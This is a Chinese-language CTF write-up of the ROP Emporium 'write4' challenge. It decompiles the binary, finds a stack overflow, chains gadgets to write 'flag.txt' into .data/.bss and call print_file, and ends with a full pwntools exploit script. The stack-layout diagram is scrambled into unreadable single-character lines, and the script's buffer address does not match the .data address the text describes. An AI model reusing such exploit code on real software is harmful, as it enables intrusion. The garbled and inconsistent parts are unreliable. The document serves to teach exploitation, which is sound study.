之前做的题都是找函数, 然后构造 ROP 链. 这两天刷 ROP Emporium, 居然用汇编 Gadgets 向内存中写入数据! 还是思维定势了啊. 记录一下, 加深印象.
ROP Emporium write4
以 x86 32 位为例.
iI
查看信息, 没开 PIE, 没开 canary. aaa;afl
, 发现 usefulFunction
, s sym.usefulFunction; pdg
:
1
2
3
4
5
void sym . usefulFunction ( void )
{
sym . imp . print_file ( "nonexistent" );
return ;
}
调用了 print_file
. 看一下 main, s main;pdg
:
1
2
3
4
5
undefined4 main ( void )
{
sym . imp . pwnme ();
return 0 ;
}
调用了 pwnme
.
pwnme
和 print_file
是从 so 中引用来的, 用 rizin 打开 so, 看一下 pwnme
, s sym.pwnme;pdg
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void sym . pwnme ( void )
{
int32_t unaff_EBX ;
void * buf ;
int32_t var_4h ;
entry0 ();
sym . imp . setvbuf ( ** ( undefined4 ** )( unaff_EBX + 0x194f ), 0 , 2 , 0 );
sym . imp . puts ( unaff_EBX + 0x14f );
sym . imp . puts ( unaff_EBX + 0x166 );
sym . imp . memset ( & buf , 0 , 0x20 );
sym . imp . puts ( unaff_EBX + 0x16b );
sym . imp . printf ( unaff_EBX + 0x194 );
sym . imp . read ( 0 , & buf , 0x200 );
sym . imp . puts ( unaff_EBX + 0x197 );
return ;
}
注意到有 read
, pdf
查看 buf
离 ebp
的距离:
1
2
3
...
; var void * buf @ ebp - 0x28
...
显然存在栈溢出漏洞. s sym.print_file;pdg
查看 print_file
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
void sym . print_file ( char * filename )
{
int32_t unaff_EBX ;
char ** ppcVar1 ;
char * pcStack76 ;
char * pcStack72 ;
undefined4 uStack64 ;
undefined auStack60 [ 11 ];
char * s ;
FILE * stream ;
int32_t var_4h ;
ppcVar1 = ( char ** ) auStack60 ;
uStack64 = 0x75b ;
entry0 ();
stream = ( FILE * ) 0x0 ;
pcStack72 = ( char * )( unaff_EBX + 0xf0 );
pcStack76 = filename ;
stream = ( FILE * ) sym . imp . fopen ();
if ( stream == ( FILE * ) 0x0 ) {
pcStack72 = filename ;
pcStack76 = ( char * )( unaff_EBX + 0xf2 );
ppcVar1 = & pcStack76 ;
sym . imp . printf ();
pcStack76 = "ELF \x01\x01\x01 " ;
sym . imp . exit ();
}
* ( FILE ** )(( int32_t ) ppcVar1 + - 8 ) = stream ;
* ( undefined4 * )(( int32_t ) ppcVar1 + - 0xc ) = 0x21 ;
* ( char *** )(( int32_t ) ppcVar1 + - 0x10 ) = & s ;
* ( undefined4 * )(( int32_t ) ppcVar1 + - 0x14 ) = 0x7b6 ;
sym . imp . fgets ();
* ( char *** )(( int32_t ) ppcVar1 + - 0x10 ) = & s ;
* ( undefined4 * )(( int32_t ) ppcVar1 + - 0x14 ) = 0x7c5 ;
sym . imp . puts ();
* ( FILE ** )(( int32_t ) ppcVar1 + - 0x10 ) = stream ;
* ( undefined4 * )(( int32_t ) ppcVar1 + - 0x14 ) = 0x7d3 ;
sym . imp . fclose ();
return ;
}
信息
rz-ghidra 反 .so 不是很好, 可能由于 PIC 的缘故, 并没有准确定位到数据的地址 (甚至连 get_pc 都不知道, 居然写成了 entry), 从而写成了 ebx + 偏移. ghidra 反出来的就不会. 可以用 ghidra 反一遍看.
或者查看汇编代码, 也能够看懂, 就是 fgets(s, 0x21, stream)
, 然后 puts(s)
. 最后 fclose(stream)
.
可以掉 usefulFunction
测试一下, 建一个名为 nonexistent
的文件. 写入不超过 0x21 个字符的东西, 然后返回到 usefulFunction
测试.
那么一个思路就是找 “flag.txt” 字符串, 调用 print_file("flag.txt")
. iz
查看字符串, 可惜没有. 接下来的思路就是构造了.
但是! 这个题很难受的一个点在于, 有漏洞的函数在共享库里, 输入函数 read 也在共享库里, 没有办法直接调用到 plt. (可能有种方法是泄漏某个库函数的地址然后算偏移, 还没学到).
这里就要想过一个办法输入了. 没有输入的函数, 不过可以构造栈上的数据. 那么把栈当成一种输入, 比如把 “flag.txt” 放到栈上, 然后 pop 到某个寄存器. 又知道, 调用函数时, 传入的字符串参数起始是一个地址, 那么我们还需要把 “flag.txt” 存在内存的某处. 这可以用 mov [reg1] reg2 来实现. reg1 是地址, reg2 是字符串的值. 这样就把字符串存在了 reg1 所指向的位置.
来找一下这些 gadgets. "/R/ mov;ret"
, 0x08048543 处找到 mov dword [edi], ebp;ret
. 这正好可以使用. 那么再找有没有 pop edi; ret
, pop ebp; ret
或者 pop edi; pop ebp; ret
或者 pop ebp; pop edi; ret
. "/R/ pop;ret"
, 0x080485aa 处找到 pop edi; pop ebp; ret
. 完美.
由于 flag.txt
一共 8 个字节, 加上 \0
是 9 个. 查看一下 .data 或者 .bss 有没有对应的大小可共写入. iS
:
1
2
3
4
5
6
paddr size vaddr vsize align perm name type flags
-----------------------------------------------------------------------------------------
...
0x00001018 0x8 0x0804a018 0x8 0x0 -rw- .data PROGBITS write,alloc
0x00001020 0x0 0x0804a020 0x4 0x0 -rw- .bss NOBITS write,alloc
...
可以看到, .data 有 8 个字节, .bss 有 4 个字节. 并且他们是连在一起的. 所以可供写的地方一共是 12 个字节, 足够了. 并且我们知道, .bss 的内容最开始是空的, 程序也没有向 .bss 写入, 所以第 9 个 \0
不用写. 32 位栈的宽度是 4 个字节, 所以 8 个字节的 “flag.txt” 要分两次写入.
技巧
在写入时, .data 和 .bss 单独的空间都不够, 但是他们连在一起, 而总和是够的, 也可以写入. 程序在识别字符串的时候只会认 \0
, 而不会管这是否跨越了不同节. 拿这个题试过了, 应该没什么问题.
那么栈就可以这样构造:
0
0
0
0
0
0
0
0
x
p
x
x
x
x
x
x
x
0
o
0
0
"
0
0
0
"
0
0
8
p
8
8
.
8
8
8
f
8
8
0
;
0
0
t
0
0
0
l
0
0
4
4
4
x
4
4
4
a
4
4
a
r
8
8
t
a
8
8
g
a
8
0
e
3
5
"
0
5
5
"
0
5
1
t
d
a
1
a
4
1
a
8
0
a
c
a
3
8
a
.
s
p
m
.
p
m
b
p
d
t
l
o
d
o
o
e
o
a
a
t
v
a
p
v
g
p
e
e
t
c
.
t
i
b
s
a
k
p
[
a
e
[
n
e
p
p
r
e
d
e
d
(
b
i
d
+
i
d
o
i
"
a
n
i
;
i
f
;
f
l
t
]
0
]
l
e
_
,
x
p
,
.
p
a
n
f
0
o
d
o
g
c
i
e
4
p
e
a
p
.
e
l
b
b
t
t
e
p
e
p
a
e
x
;
b
;
b
t
p
p
"
r
;
r
;
)
e
e
t
r
t
r
e
e
(
t
(
t
w
w
r
r
i
i
t
t
e
e
"
"
.
f
t
l
x
a
t
g
"
"
t
t
o
o
.
.
d
d
a
a
t
t
a
a
)
+
0
x
0
4
)
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
data_buf = 0x0804a01d
str_flag = b 'flag'
str_txt = b '.txt'
pop_edi_pop_ebp_ret = 0x080485aa
mov_edi_ebp_ret = 0x08048543
plt_print_file = 0x080483d0
pop_ret = 0x080485ab
payload = b 'a' * ( 0x28 + 0x04 )
payload += p32 ( pop_edi_pop_ebp_ret ) + p32 ( data_buf ) + str_flag
payload += p32 ( mov_edi_ebp_ret )
payload += p32 ( pop_edi_pop_ebp_ret ) + p32 ( data_buf + 0x04 ) + str_txt
payload += p32 ( mov_edi_ebp_ret )
payload += p32 ( plt_print_file ) + p32 ( pop_ret ) + p32 ( data_buf )
p = process ( './write432' )
p . sendline ( payload )
p . interactive ()
注意
这里由于字符仅占一个字节, 所以不需要考虑小端序的问题. 如果是向栈上写大小多于一个字节的数据类型, 比如 int, 需要注意小端序.